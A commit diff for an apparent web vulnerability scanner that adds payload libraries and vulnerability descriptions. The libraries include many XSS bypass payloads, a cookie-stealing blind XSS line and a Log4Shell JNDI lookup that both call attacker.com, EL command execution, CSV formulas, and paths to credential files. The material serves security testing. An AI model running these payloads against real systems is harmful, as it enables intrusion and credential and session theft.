Add files via upload

This commit is contained in:
Joas A Santos
2026-02-11 10:47:33 -03:00
committed by GitHub
parent e32573a950
commit 30acd5afc7
52 changed files with 22492 additions and 706 deletions
+9 -1
View File
@@ -1,5 +1,13 @@
from backend.core.vuln_engine.engine import DynamicVulnerabilityEngine
from backend.core.vuln_engine.registry import VulnerabilityRegistry
from backend.core.vuln_engine.payload_generator import PayloadGenerator
def __getattr__(name):
"""Lazy import for DynamicVulnerabilityEngine (requires database models)"""
if name == "DynamicVulnerabilityEngine":
from backend.core.vuln_engine.engine import DynamicVulnerabilityEngine
return DynamicVulnerabilityEngine
raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
__all__ = ["DynamicVulnerabilityEngine", "VulnerabilityRegistry", "PayloadGenerator"]
File diff suppressed because it is too large Load Diff
+617 -5
View File
@@ -48,11 +48,129 @@ class PayloadGenerator:
"<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>",
],
"xss_stored": [
"<script>alert('StoredXSS')</script>",
"<img src=x onerror=alert('StoredXSS')>",
"<svg onload=alert('StoredXSS')>",
"javascript:alert('StoredXSS')",
"<a href=javascript:alert('StoredXSS')>click</a>",
# Basic script tags
"<script>alert(1)</script>",
"<script>alert(document.domain)</script>",
"<script>alert(String.fromCharCode(88,83,83))</script>",
"<Script>alert(1)</Script>",
"<scr<script>ipt>alert(1)</scr</script>ipt>",
"<script/src=data:,alert(1)>",
"<script>alert`1`</script>",
# IMG event handlers
"<img src=x onerror=alert(1)>",
"<img src=x onerror=alert(document.domain)>",
"<img/src=x onerror=alert(1)>",
"<img src=1 onerror='alert(1)'>",
"<IMG SRC=x ONERROR=alert(1)>",
"<img src onerror=alert(1)>",
"<img src=x onerror=prompt(1)>",
"<img src=x onerror=confirm(1)>",
# SVG event handlers
"<svg onload=alert(1)>",
"<svg/onload=alert(1)>",
"<svg onload=alert(document.domain)>",
"<svg><script>alert(1)</script></svg>",
"<svg><animate onbegin=alert(1)>",
"<svg><set onbegin=alert(1)>",
# Other element events
"<body onload=alert(1)>",
"<input onfocus=alert(1) autofocus>",
"<input onblur=alert(1) autofocus><input autofocus>",
"<details open ontoggle=alert(1)>",
"<marquee onstart=alert(1)>",
"<video><source onerror=alert(1)>",
"<audio src=x onerror=alert(1)>",
"<video src=x onerror=alert(1)>",
"<select onfocus=alert(1) autofocus>",
"<textarea onfocus=alert(1) autofocus>",
"<xss autofocus tabindex=1 onfocus=alert(1)></xss>",
"<div contenteditable onblur=alert(1)>click then lose focus</div>",
# Anchor/link
"<a href=javascript:alert(1)>click</a>",
"<a href='javascript:alert(1)'>click me</a>",
"<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)>click</a>",
"<iframe src=javascript:alert(1)>",
"<embed src=javascript:alert(1)>",
# Attribute escape + event handlers
'" onfocus=alert(1) autofocus x="',
"' onfocus=alert(1) autofocus x='",
'"><script>alert(1)</script>',
"'><script>alert(1)</script>",
'" onmouseover=alert(1) x="',
"' onmouseover=alert(1) x='",
'"><img src=x onerror=alert(1)>',
"'><img src=x onerror=alert(1)>",
'" autofocus onfocus=alert(1) x="',
# JavaScript context breakout
"</script><script>alert(1)</script>",
"';alert(1)//",
'";alert(1)//',
"'-alert(1)-'",
'"-alert(1)-"',
"\\\\';;alert(1)//",
"${alert(1)}",
"</script><img src=x onerror=alert(1)>",
# Encoding bypasses
"%3Cscript%3Ealert(1)%3C/script%3E",
"&#60;script&#62;alert(1)&#60;/script&#62;",
"&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;",
"<script>al\\u0065rt(1)</script>",
"<scr\\x00ipt>alert(1)</scr\\x00ipt>",
"javas\\tcript:alert(1)",
# WAF/filter bypass
"<img src=x onerror=alert`1`>",
"<img src=x onerror=window['alert'](1)>",
"<img src=x onerror=self['alert'](1)>",
"<img src=x onerror=top['al'+'ert'](1)>",
"<img src=x onerror=[].constructor.constructor('alert(1)')()>",
"<img src=x onerror=Function('alert(1)')()>",
"<img src=x onerror=eval(atob('YWxlcnQoMSk='))>",
"<svg><animatetransform onbegin=alert(1)>",
"<style>@keyframes x{}</style><xss style='animation-name:x' onanimationend='alert(1)'>",
"<form><button formaction=javascript:alert(1)>X</button></form>",
"<object data=javascript:alert(1)>",
"<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>",
],
# XSS Context-Specific Payloads
"xss_context_html_body": [
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<svg onload=alert(1)>",
"<details open ontoggle=alert(1)>",
"<input onfocus=alert(1) autofocus>",
"<body onload=alert(1)>",
"<xss autofocus tabindex=1 onfocus=alert(1)></xss>",
"<video><source onerror=alert(1)>",
],
"xss_context_attribute": [
'" onfocus=alert(1) autofocus x="',
"' onfocus=alert(1) autofocus x='",
'"><script>alert(1)</script>',
"'><script>alert(1)</script>",
'" onmouseover=alert(1) x="',
'"><img src=x onerror=alert(1)>',
'" autofocus onfocus=alert(1) x="',
"' autofocus onfocus=alert(1) x='",
],
"xss_context_js_string": [
"';alert(1)//",
'";alert(1)//',
"</script><script>alert(1)</script>",
"'-alert(1)-'",
"\\\\';;alert(1)//",
"</script><img src=x onerror=alert(1)>",
],
"xss_context_template_literal": [
"${alert(1)}",
"${alert(document.domain)}",
"${[].constructor.constructor('alert(1)')()}",
],
"xss_context_href": [
"javascript:alert(1)",
"javascript:alert(document.domain)",
"&#106;avascript:alert(1)",
"java%0ascript:alert(1)",
"data:text/html,<script>alert(1)</script>",
],
"xss_dom": [
"#<script>alert('DOMXSS')</script>",
@@ -282,8 +400,502 @@ class PayloadGenerator:
"test",
"../1",
],
# ===== NEW PAYLOAD LIBRARIES (68 new types) =====
# Advanced Injection
"ldap_injection": [
"*", ")(cn=*)", ")(|(cn=*", "*)(uid=*))(|(uid=*",
"admin)(&)", ")(|(password=*)", "*)(objectClass=*",
],
"xpath_injection": [
"' or '1'='1", "' or ''='", "'] | //user/* | //user['",
"' and count(//user)>0 and '1'='1",
],
"graphql_injection": [
'{__schema{types{name,fields{name,type{name}}}}}',
'{__type(name:"User"){fields{name}}}',
'{"query":"mutation{updateUser(role:\\"admin\\"){id}}"}',
],
"crlf_injection": [
"%0d%0aX-Injected:neurosploit", "%0d%0aSet-Cookie:evil=1",
"%0d%0a%0d%0a<html>injected", "\\r\\nX-Test:1",
"%0d%0aLocation:http://evil.com",
],
"header_injection": [
"evil.com", "%0d%0aInjected:true",
"target.com\r\nX-Injected: true", "evil.com%00.target.com",
],
"email_injection": [
"test@test.com%0d%0aCc:attacker@evil.com",
"test@test.com%0d%0aBcc:spy@evil.com",
"test@test.com%0aSubject:Hacked",
],
"expression_language_injection": [
"${7*7}", "#{7*7}", "${applicationScope}",
"${T(java.lang.Runtime).getRuntime().exec('id')}",
"${pageContext.request.serverName}",
],
"log_injection": [
"test%0aINFO:Admin_logged_in",
"${jndi:ldap://attacker.com/a}",
"test%0a%0aNEW_LOG_ENTRY",
"\\x1b[31mRED_TEXT",
],
"html_injection": [
"<h1>INJECTED</h1>", "<b>neurosploit_test</b>",
"<img src=x>", "<form action='http://evil.com'><input name=pw><input type=submit>",
"<a href='http://evil.com'>Click Here</a>",
],
"csv_injection": [
"=cmd|'/C calc'!A0", "=1+1", "+1+1", "@SUM(1+1)",
'=HYPERLINK("http://evil.com","Click")',
"-1+1", '=IMPORTXML("http://evil.com","//a")',
],
"orm_injection": [
"field__gt=0", "field__contains=admin", "field__regex=.*",
"' OR '1'='1", "field[$ne]=",
],
# XSS Advanced
"blind_xss": [
"<script src=//callback.attacker.com></script>",
"'><script>new Image().src='//attacker.com/?c='+document.cookie</script>",
"<img src=//callback.attacker.com/blind>",
],
"mutation_xss": [
"<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>",
"<svg></p><style><a id=\"</style><img src=1 onerror=alert(1)>\">",
"<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">",
],
# File Access Advanced
"arbitrary_file_read": [
"/etc/passwd", "/etc/shadow", "../../../.env",
"../../config/database.yml", "/proc/self/environ",
"~/.ssh/id_rsa", "C:\\Windows\\win.ini",
],
"arbitrary_file_delete": [
"../../../tmp/test_delete", "../../.htaccess",
"../../../tmp/neurosploit_test",
],
"zip_slip": [
"../../tmp/zipslip_test.txt",
"../../../var/www/html/shell.php",
"../../../../tmp/zipslip_proof",
],
# Auth Advanced
"weak_password": [
"123456", "password", "abc123", "qwerty",
"aaaaaa", "12345678", "Password1", "test",
],
"default_credentials": [
"admin:admin", "admin:password", "root:root",
"test:test", "admin:admin123", "user:user",
"admin:changeme", "admin:default",
],
"two_factor_bypass": [
"000000", "123456", "skip_2fa=true",
"verify=false", "step=3",
],
"oauth_misconfiguration": [
"redirect_uri=https://evil.com",
"redirect_uri=https://target.com.evil.com",
"redirect_uri=https://target.com/callback?next=evil.com",
],
# Authorization Advanced
"bfla": [
"/api/admin/users", "/api/admin/settings",
"/api/admin/create-user", "/admin/config",
],
"mass_assignment": [
'{"role":"admin"}', '{"is_admin":true}',
'{"verified":true}', '{"balance":99999}',
'{"account_type":"premium"}',
],
"forced_browsing": [
"/admin", "/dashboard", "/api/admin",
"/internal", "/debug", "/console",
"/actuator", "/swagger-ui.html", "/.git/config",
"/.env", "/backup.sql", "/phpinfo.php",
],
# Client-Side Advanced
"dom_clobbering": [
'<img id="x" src="evil.com">',
'<form id="x"><input id="y" value="evil"></form>',
'<a id="CONFIG" href="evil://payload">',
],
"postmessage_vulnerability": [
'window.postMessage("inject","*")',
'window.postMessage(\'{"cmd":"getToken"}\',\'*\')',
],
"websocket_hijacking": [
"new WebSocket('wss://target.com/ws')",
],
"prototype_pollution": [
'{"__proto__":{"isAdmin":true}}',
'{"constructor":{"prototype":{"polluted":true}}}',
'?__proto__[isAdmin]=true',
'?__proto__[test]=polluted',
],
"css_injection": [
"color:red;background:url(//evil.com/test)",
"};body{background:red}",
"input[value^='a']{background:url(//evil.com/a)}",
],
"tabnabbing": [
'<a target="_blank" href="http://test.com">Test</a>',
],
# Infrastructure Advanced
"directory_listing": [
"/images/", "/uploads/", "/backup/",
"/static/", "/assets/", "/media/",
"/files/", "/docs/", "/data/", "/logs/",
],
"debug_mode": [
"/nonexistent_page_404_test", "/?debug=true",
"/phpinfo.php", "/actuator/env",
"/debug/pprof", "/__debug__/",
],
"exposed_admin_panel": [
"/admin", "/administrator", "/admin/login",
"/wp-admin", "/cpanel", "/phpmyadmin",
"/adminer", "/manager/html", "/jenkins",
],
"exposed_api_docs": [
"/swagger-ui.html", "/swagger-ui/", "/api-docs",
"/openapi.json", "/swagger.json", "/graphql",
"/graphiql", "/redoc", "/v1/api-docs",
],
"insecure_cookie_flags": [], # Inspection-based, no payloads
"http_smuggling": [
"Content-Length: 6\r\nTransfer-Encoding: chunked",
"Transfer-Encoding: xchunked",
],
"cache_poisoning": [
"X-Forwarded-Host: evil.com",
"X-Forwarded-Scheme: nothttps",
"X-Original-URL: /admin",
],
# Logic & Data
"race_condition": [], # Requires concurrent requests, not payloads
"business_logic": [
"-1", "0", "0.001", "99999999",
"-99999", "NaN", "null", "undefined",
],
"rate_limit_bypass": [
"X-Forwarded-For: 1.2.3.4",
"X-Real-IP: 1.2.3.4",
"X-Originating-IP: 1.2.3.4",
],
"parameter_pollution": [
"param=safe&param=malicious",
"param[]=a&param[]=b",
],
"type_juggling": [
"0", "true", "[]", "null",
'{"password":0}', '{"password":true}',
],
"insecure_deserialization": [
"rO0ABXNyAA...", # Java serialization marker
'O:4:"User":1:{s:4:"role";s:5:"admin";}', # PHP
"gASVDAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAJpZJSFlFKULg==", # Python pickle
],
"subdomain_takeover": [], # DNS-based, not payloads
"host_header_injection": [
"evil.com", "target.com:evil.com@evil.com",
"evil.com%0d%0aX-Injected:true",
],
"timing_attack": [], # Time-measurement based
"improper_error_handling": [
"' \"", "{{invalid}}", "<>!@#$%^&*()",
"a" * 10000, "\x00\x01\x02", "NaN", "undefined",
],
"sensitive_data_exposure": [], # Inspection-based
"information_disclosure": [
"/.git/config", "/.git/HEAD", "/.svn/entries",
"/.env", "/robots.txt", "/sitemap.xml",
"/crossdomain.xml", "/.DS_Store",
],
"api_key_exposure": [], # JS analysis, not payloads
"source_code_disclosure": [
"/.git/config", "/.git/HEAD", "/app.js.map",
"/main.js.map", "/index.php.bak", "/config.php~",
"/web.config.old", "/backup.zip",
],
"backup_file_exposure": [
"/backup.sql", "/dump.sql", "/database.sql",
"/backup.zip", "/backup.tar.gz", "/site.zip",
"/db_backup.sql", "/backup/latest.sql",
],
"version_disclosure": [], # Header inspection
# Crypto & Supply
"weak_encryption": [], # TLS inspection
"weak_hashing": [], # Hash analysis
"weak_random": [], # Token collection
"cleartext_transmission": [], # HTTP inspection
"vulnerable_dependency": [], # Version fingerprinting
"outdated_component": [
"/readme.html", "/CHANGELOG.md", "/VERSION",
"/license.txt",
],
"insecure_cdn": [], # Script tag inspection
"container_escape": [], # Container inspection
# Cloud & API
"s3_bucket_misconfiguration": [], # External check
"cloud_metadata_exposure": [
"http://169.254.169.254/latest/meta-data/",
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http://metadata.google.internal/computeMetadata/v1/",
],
"serverless_misconfiguration": [], # Config inspection
"graphql_introspection": [
'{__schema{queryType{name},mutationType{name},types{name,kind,fields{name,type{name,kind,ofType{name}}}}}}',
'{__type(name:"User"){fields{name,type{name}}}}',
],
"graphql_dos": [
'{"query":"{' + 'user{posts{comments{author' * 5 + '}}}}}' + '}' * 4 + '"}',
],
"rest_api_versioning": [
"/api/v1/", "/api/v0/", "/v1/", "/api/1.0/",
],
"soap_injection": [
"?wsdl",
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><soap:Envelope><soap:Body>&xxe;</soap:Body></soap:Envelope>',
],
"api_rate_limiting": [], # Rapid request testing
"excessive_data_exposure": [], # Response analysis
# ===== XSS BYPASS PAYLOAD LIBRARIES =====
"xss_bypass_event_handlers": [
"<svg onload=alert(1)>",
"<body onload=alert(1)>",
"<input onfocus=alert(1) autofocus>",
"<details open ontoggle=alert(1)>",
"<marquee onstart=alert(1)>",
"<video><source onerror=alert(1)>",
"<audio src=x onerror=alert(1)>",
"<select onfocus=alert(1) autofocus>",
"<textarea onfocus=alert(1) autofocus>",
"<input onblur=alert(1) autofocus><input autofocus>",
"<div contenteditable onblur=alert(1)>x</div>",
"<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
"<svg><set onbegin=alert(1) attributename=x to=1>",
"<svg><animatetransform onbegin=alert(1) attributename=x>",
"<xss autofocus tabindex=1 onfocus=alert(1)></xss>",
"<xss id=x onfocus=alert(1) tabindex=1>#x</xss>",
"<input type=image src=x onerror=alert(1)>",
"<object data=x onerror=alert(1)>",
"<style>@keyframes x{}</style><xss style='animation-name:x' onanimationend=alert(1)>",
"<xss onpointerover=alert(1)>hover</xss>",
],
"xss_bypass_custom_tags": [
"<xss autofocus tabindex=1 onfocus=alert(1)></xss>",
"<xss id=x onfocus=alert(1) tabindex=1>#x</xss>",
"<xss onpointerover=alert(1)>hover me</xss>",
"<xss onfocusin=alert(1) tabindex=1>focus me</xss>",
"<custom autofocus tabindex=1 onfocus=alert(1)></custom>",
"<math><mi onfocus=alert(1) tabindex=1>x</mi></math>",
"<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click</text></a></svg>",
"<svg><discard onbegin=alert(1)>",
"<svg><animate onbegin=alert(1) attributeName=x>",
],
"xss_bypass_alert_blocked": [
"<img src=x onerror=confirm(1)>",
"<img src=x onerror=prompt(1)>",
"<img src=x onerror=print()>",
"<img src=x onerror=alert`1`>",
"<img src=x onerror=window['al'+'ert'](1)>",
"<img src=x onerror=self['alert'](1)>",
"<img src=x onerror=top['alert'](1)>",
"<img src=x onerror=eval(atob('YWxlcnQoMSk='))>",
"<img src=x onerror=eval('\\141\\154\\145\\162\\164(1)')>",
"<img src=x onerror=Function('alert(1)')()>",
"<img src=x onerror=[].constructor.constructor('alert(1)')()>",
"<img src=x onerror=setTimeout('alert(1)')>",
],
"xss_bypass_encoding": [
"<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>",
"<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>",
"<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)>click</a>",
"<a href=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;alert(1)>click</a>",
"<a href=java%0ascript:alert(1)>click</a>",
"<a href=java%09script:alert(1)>click</a>",
"<a href=java%0dscript:alert(1)>click</a>",
"<svg onload=al\\u0065rt(1)>",
"<img src=x onerror=al\\u0065rt(1)>",
],
"xss_bypass_waf": [
"<Img Src=x OnError=alert(1)>",
"<IMG SRC=x ONERROR=alert(1)>",
"<img/src=x/onerror=alert(1)>",
"<img\\tsrc=x\\tonerror=alert(1)>",
"<img\\nsrc=x\\nonerror=alert(1)>",
"<<script>alert(1)//<</script>",
"<svg/onload=alert(1)>",
"<body/onload=alert(1)>",
"<input/onfocus=alert(1)/autofocus>",
"<scr<script>ipt>alert(1)</scr</script>ipt>",
],
"xss_context_event_handler": [
"alert(1)",
"alert(document.domain)",
"alert`1`",
"confirm(1)",
"prompt(1)",
],
"xss_context_svg": [
"<svg onload=alert(1)>",
"<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
"<svg><set onbegin=alert(1) attributename=x to=1>",
"<svg><animatetransform onbegin=alert(1) attributename=x>",
"<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click</text></a></svg>",
],
"xss_context_textarea": [
"</textarea><script>alert(1)</script>",
"</textarea><img src=x onerror=alert(1)>",
"</textarea><svg onload=alert(1)>",
],
"xss_context_style": [
"</style><script>alert(1)</script>",
"</style><img src=x onerror=alert(1)>",
],
"xss_csp_bypass": [
"<script src='https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.min.js'></script><div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>",
"<base href='//evil.com/'>",
"<script nonce='{{RANDOM_ID}}'>alert(1)</script>",
"<link rel=prefetch href='//evil.com/'>",
],
"xss_dom_sources": [
"#<img src=x onerror=alert(1)>",
"#\"><img src=x onerror=alert(1)>",
"javascript:alert(1)",
"#'-alert(1)-'",
"?default=<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
],
"xss_canonical_accesskey": [
"<input accesskey=x onclick=alert(1)>",
"<a href=# accesskey=x onclick=alert(1)>press ALT+SHIFT+X</a>",
],
}
def get_context_payloads(self, context: str) -> List[str]:
"""Get payloads for a detected injection context.
Supports enhanced context names from _detect_xss_context_enhanced():
html_body, html_comment, textarea, title, noscript,
attribute_double, attribute_single, attribute_unquoted,
js_string_single, js_string_double, js_template_literal,
href, script_src, event_handler, svg_context, mathml_context, style
"""
# Direct match first
key = f"xss_context_{context}"
if key in self.payload_libraries:
return list(self.payload_libraries[key])
# Fallback mapping for enhanced context names
_fallback = {
"attribute_double": "attribute",
"attribute_single": "attribute",
"attribute_unquoted": "attribute",
"js_string_single": "js_string",
"js_string_double": "js_string",
"js_template_literal": "template_literal",
"html_comment": "html_body",
"title": "textarea", # needs closing tag breakout like textarea
"noscript": "textarea", # needs closing tag breakout
"script_src": "href", # URL-like context
"event_handler": "event_handler",
"svg_context": "svg",
"mathml_context": "html_body",
"style": "style",
}
fallback_ctx = _fallback.get(context)
if fallback_ctx:
fb_key = f"xss_context_{fallback_ctx}"
if fb_key in self.payload_libraries:
return list(self.payload_libraries[fb_key])
# Ultimate fallback: top stored XSS payloads
return list(self.payload_libraries.get("xss_stored", []))[:10]
def get_filter_bypass_payloads(self, filter_map: Dict[str, Any]) -> List[str]:
"""Get bypass payloads based on what's blocked/allowed by filters.
filter_map keys:
- allowed_chars: list of chars that pass through
- blocked_chars: list of chars that are stripped/encoded
- allowed_tags: list of HTML tags that survive
- blocked_tags: list of HTML tags that are stripped
- allowed_events: list of event handlers that survive
- blocked_events: list of event handlers stripped
- csp: CSP header value (or None)
- waf_detected: bool
"""
payloads: List[str] = []
allowed_chars = set(filter_map.get("allowed_chars", []))
blocked_chars = set(filter_map.get("blocked_chars", []))
allowed_tags = filter_map.get("allowed_tags", [])
allowed_events = filter_map.get("allowed_events", [])
waf = filter_map.get("waf_detected", False)
# If custom tags allowed, use them
if allowed_tags:
for tag in allowed_tags:
for evt in (allowed_events or ["onfocus", "onload", "onerror"]):
if tag in ("svg", "body", "math") and evt in ("onload",):
payloads.append(f"<{tag} {evt}=alert(1)>")
elif tag in ("img", "video", "audio", "source", "object", "input") and evt in ("onerror",):
payloads.append(f"<{tag} src=x {evt}=alert(1)>")
elif evt == "onfocus":
payloads.append(f"<{tag} {evt}=alert(1) autofocus tabindex=1></{tag}>")
elif evt == "onbegin":
payloads.append(f"<svg><{tag} {evt}=alert(1)>")
elif evt in ("onanimationend",):
payloads.append(f"<style>@keyframes x{{}}</style><{tag} style='animation-name:x' {evt}=alert(1)>")
else:
payloads.append(f"<{tag} {evt}=alert(1)></{tag}>")
# Event handler bypass payloads
payloads.extend(self.payload_libraries.get("xss_bypass_event_handlers", []))
# Custom tag bypass payloads
payloads.extend(self.payload_libraries.get("xss_bypass_custom_tags", []))
# If parentheses are blocked, use backtick/encoding variants
if "(" in blocked_chars or ")" in blocked_chars:
payloads.extend(self.payload_libraries.get("xss_bypass_alert_blocked", []))
# If angle brackets are partially blocked, try encoding
if "<" in blocked_chars or ">" in blocked_chars:
payloads.extend(self.payload_libraries.get("xss_bypass_encoding", []))
# WAF-specific bypasses
if waf:
payloads.extend(self.payload_libraries.get("xss_bypass_waf", []))
# CSP bypass payloads
if filter_map.get("csp"):
payloads.extend(self.payload_libraries.get("xss_csp_bypass", []))
# Deduplicate while preserving order
seen = set()
unique: List[str] = []
for p in payloads:
if p not in seen:
seen.add(p)
unique.append(p)
return unique
async def get_payloads(
self,
vuln_type: str,
+222 -10
View File
@@ -11,23 +11,52 @@ from backend.core.vuln_engine.testers.injection import (
SQLiErrorTester, SQLiUnionTester, SQLiBlindTester, SQLiTimeTester,
CommandInjectionTester, SSTITester, NoSQLInjectionTester
)
from backend.core.vuln_engine.testers.advanced_injection import (
LdapInjectionTester, XpathInjectionTester, GraphqlInjectionTester,
CrlfInjectionTester, HeaderInjectionTester, EmailInjectionTester,
ELInjectionTester, LogInjectionTester, HtmlInjectionTester,
CsvInjectionTester, OrmInjectionTester
)
from backend.core.vuln_engine.testers.file_access import (
LFITester, RFITester, PathTraversalTester, XXETester, FileUploadTester
LFITester, RFITester, PathTraversalTester, XXETester, FileUploadTester,
ArbitraryFileReadTester, ArbitraryFileDeleteTester, ZipSlipTester
)
from backend.core.vuln_engine.testers.request_forgery import (
SSRFTester, CSRFTester
SSRFTester, CSRFTester, GraphqlIntrospectionTester, GraphqlDosTester
)
from backend.core.vuln_engine.testers.auth import (
AuthBypassTester, JWTManipulationTester, SessionFixationTester
AuthBypassTester, JWTManipulationTester, SessionFixationTester,
WeakPasswordTester, DefaultCredentialsTester, TwoFactorBypassTester,
OauthMisconfigTester
)
from backend.core.vuln_engine.testers.authorization import (
IDORTester, BOLATester, PrivilegeEscalationTester
IDORTester, BOLATester, PrivilegeEscalationTester,
BflaTester, MassAssignmentTester, ForcedBrowsingTester
)
from backend.core.vuln_engine.testers.client_side import (
CORSTester, ClickjackingTester, OpenRedirectTester
CORSTester, ClickjackingTester, OpenRedirectTester,
DomClobberingTester, PostMessageVulnTester, WebsocketHijackTester,
PrototypePollutionTester, CssInjectionTester, TabnabbingTester
)
from backend.core.vuln_engine.testers.infrastructure import (
SecurityHeadersTester, SSLTester, HTTPMethodsTester
SecurityHeadersTester, SSLTester, HTTPMethodsTester,
DirectoryListingTester, DebugModeTester, ExposedAdminPanelTester,
ExposedApiDocsTester, InsecureCookieFlagsTester
)
from backend.core.vuln_engine.testers.logic import (
RaceConditionTester, BusinessLogicTester, RateLimitBypassTester,
ParameterPollutionTester, TypeJugglingTester, TimingAttackTester,
HostHeaderInjectionTester, HttpSmugglingTester, CachePoisoningTester
)
from backend.core.vuln_engine.testers.data_exposure import (
SensitiveDataExposureTester, InformationDisclosureTester,
ApiKeyExposureTester, SourceCodeDisclosureTester,
BackupFileExposureTester, VersionDisclosureTester
)
from backend.core.vuln_engine.testers.cloud_supply import (
S3BucketMisconfigTester, CloudMetadataExposureTester,
SubdomainTakeoverTester, VulnerableDependencyTester,
ContainerEscapeTester, ServerlessMisconfigTester
)
@@ -323,11 +352,102 @@ class VulnerabilityRegistry:
"description": "Flaw in application's business logic allowing unintended behavior.",
"impact": "Varies based on specific flaw - could range from minor to critical impact.",
"remediation": "1. Review business logic flows\n2. Implement comprehensive validation\n3. Add server-side checks for all rules\n4. Test edge cases and negative scenarios"
}
},
# ===== NEW TYPES (68 additional) =====
# Advanced Injection
"ldap_injection": {"title": "LDAP Injection", "severity": "high", "cwe_id": "CWE-90", "description": "User input injected into LDAP queries allowing directory enumeration or auth bypass.", "impact": "Directory enumeration, authentication bypass, data extraction from LDAP stores.", "remediation": "1. Escape LDAP special characters\n2. Use parameterized LDAP queries\n3. Validate input against whitelist\n4. Apply least privilege to LDAP accounts"},
"xpath_injection": {"title": "XPath Injection", "severity": "high", "cwe_id": "CWE-643", "description": "User input injected into XPath queries manipulating XML data retrieval.", "impact": "Extraction of XML data, authentication bypass via XPath condition manipulation.", "remediation": "1. Use parameterized XPath queries\n2. Validate and sanitize input\n3. Avoid string concatenation in XPath\n4. Limit XPath query privileges"},
"graphql_injection": {"title": "GraphQL Injection", "severity": "high", "cwe_id": "CWE-89", "description": "Injection attacks targeting GraphQL endpoints through malicious queries or variables.", "impact": "Schema exposure, unauthorized data access, denial of service via complex queries.", "remediation": "1. Disable introspection in production\n2. Implement query depth/complexity limits\n3. Use persisted queries\n4. Apply field-level authorization"},
"crlf_injection": {"title": "CRLF Injection / HTTP Response Splitting", "severity": "medium", "cwe_id": "CWE-93", "description": "Injection of CRLF characters to manipulate HTTP response headers or split responses.", "impact": "HTTP header injection, session fixation via Set-Cookie, XSS via response splitting.", "remediation": "1. Strip \\r\\n from user input in headers\n2. Use framework header-setting functions\n3. Validate header values\n4. Implement WAF rules for CRLF patterns"},
"header_injection": {"title": "HTTP Header Injection", "severity": "medium", "cwe_id": "CWE-113", "description": "User input reflected in HTTP headers enabling header manipulation.", "impact": "Password reset poisoning, cache poisoning, access control bypass via header manipulation.", "remediation": "1. Validate Host header against whitelist\n2. Don't use Host header for URL generation\n3. Strip CRLF from header values\n4. Use absolute URLs for sensitive operations"},
"email_injection": {"title": "Email Header Injection", "severity": "medium", "cwe_id": "CWE-93", "description": "Injection of email headers through form fields that feed into mail functions.", "impact": "Spam relay, phishing via injected CC/BCC recipients, email content manipulation.", "remediation": "1. Validate email addresses strictly\n2. Strip CRLF from email inputs\n3. Use email library APIs not raw headers\n4. Implement rate limiting on email features"},
"expression_language_injection": {"title": "Expression Language Injection", "severity": "critical", "cwe_id": "CWE-917", "description": "Injection of EL/SpEL/OGNL expressions evaluated server-side in Java applications.", "impact": "Remote code execution, server compromise, data exfiltration via expression evaluation.", "remediation": "1. Disable EL evaluation on user input\n2. Use strict sandboxing\n3. Update frameworks (Struts2 OGNL patches)\n4. Validate input before template rendering"},
"log_injection": {"title": "Log Injection / Log4Shell", "severity": "high", "cwe_id": "CWE-117", "description": "Injection into application logs enabling log forging or JNDI-based RCE (Log4Shell).", "impact": "Log tampering, JNDI-based RCE (Log4Shell), log analysis tool exploitation.", "remediation": "1. Strip newlines from log input\n2. Update Log4j to 2.17+ (CVE-2021-44228)\n3. Disable JNDI lookups\n4. Use structured logging"},
"html_injection": {"title": "HTML Injection", "severity": "medium", "cwe_id": "CWE-79", "description": "Injection of HTML markup into web pages without script execution.", "impact": "Content spoofing, phishing form injection, defacement, link manipulation.", "remediation": "1. HTML-encode all user output\n2. Use Content-Security-Policy\n3. Implement output encoding libraries\n4. Sanitize HTML with whitelist approach"},
"csv_injection": {"title": "CSV/Formula Injection", "severity": "medium", "cwe_id": "CWE-1236", "description": "Injection of spreadsheet formulas into data exported as CSV/Excel.", "impact": "Code execution when CSV opened in Excel, DDE attacks, data exfiltration via formulas.", "remediation": "1. Prefix cells starting with =,+,-,@ with single quote\n2. Sanitize formula characters\n3. Use safe CSV export libraries\n4. Warn users about untrusted CSV files"},
"orm_injection": {"title": "ORM Injection", "severity": "high", "cwe_id": "CWE-89", "description": "Injection through ORM query builders via operator injection or raw query manipulation.", "impact": "Data extraction, authentication bypass through ORM filter manipulation.", "remediation": "1. Use ORM built-in parameter binding\n2. Avoid raw queries with user input\n3. Validate filter operators\n4. Use field-level whitelists"},
# XSS Advanced
"blind_xss": {"title": "Blind Cross-Site Scripting", "severity": "high", "cwe_id": "CWE-79", "description": "XSS payload stored and executed in backend/admin context not visible to the attacker.", "impact": "Admin session hijacking, backend system compromise, persistent access to admin panels.", "remediation": "1. Sanitize all input regardless of display context\n2. Implement CSP on admin panels\n3. Use HttpOnly cookies\n4. Review admin panel input rendering"},
"mutation_xss": {"title": "Mutation XSS (mXSS)", "severity": "high", "cwe_id": "CWE-79", "description": "XSS via browser HTML mutation where sanitized HTML changes to executable form after DOM processing.", "impact": "Bypasses HTML sanitizers, executes JavaScript through browser parsing quirks.", "remediation": "1. Update DOMPurify/sanitizers\n2. Use textContent not innerHTML\n3. Avoid innerHTML re-serialization\n4. Test with multiple browsers"},
# File Access Advanced
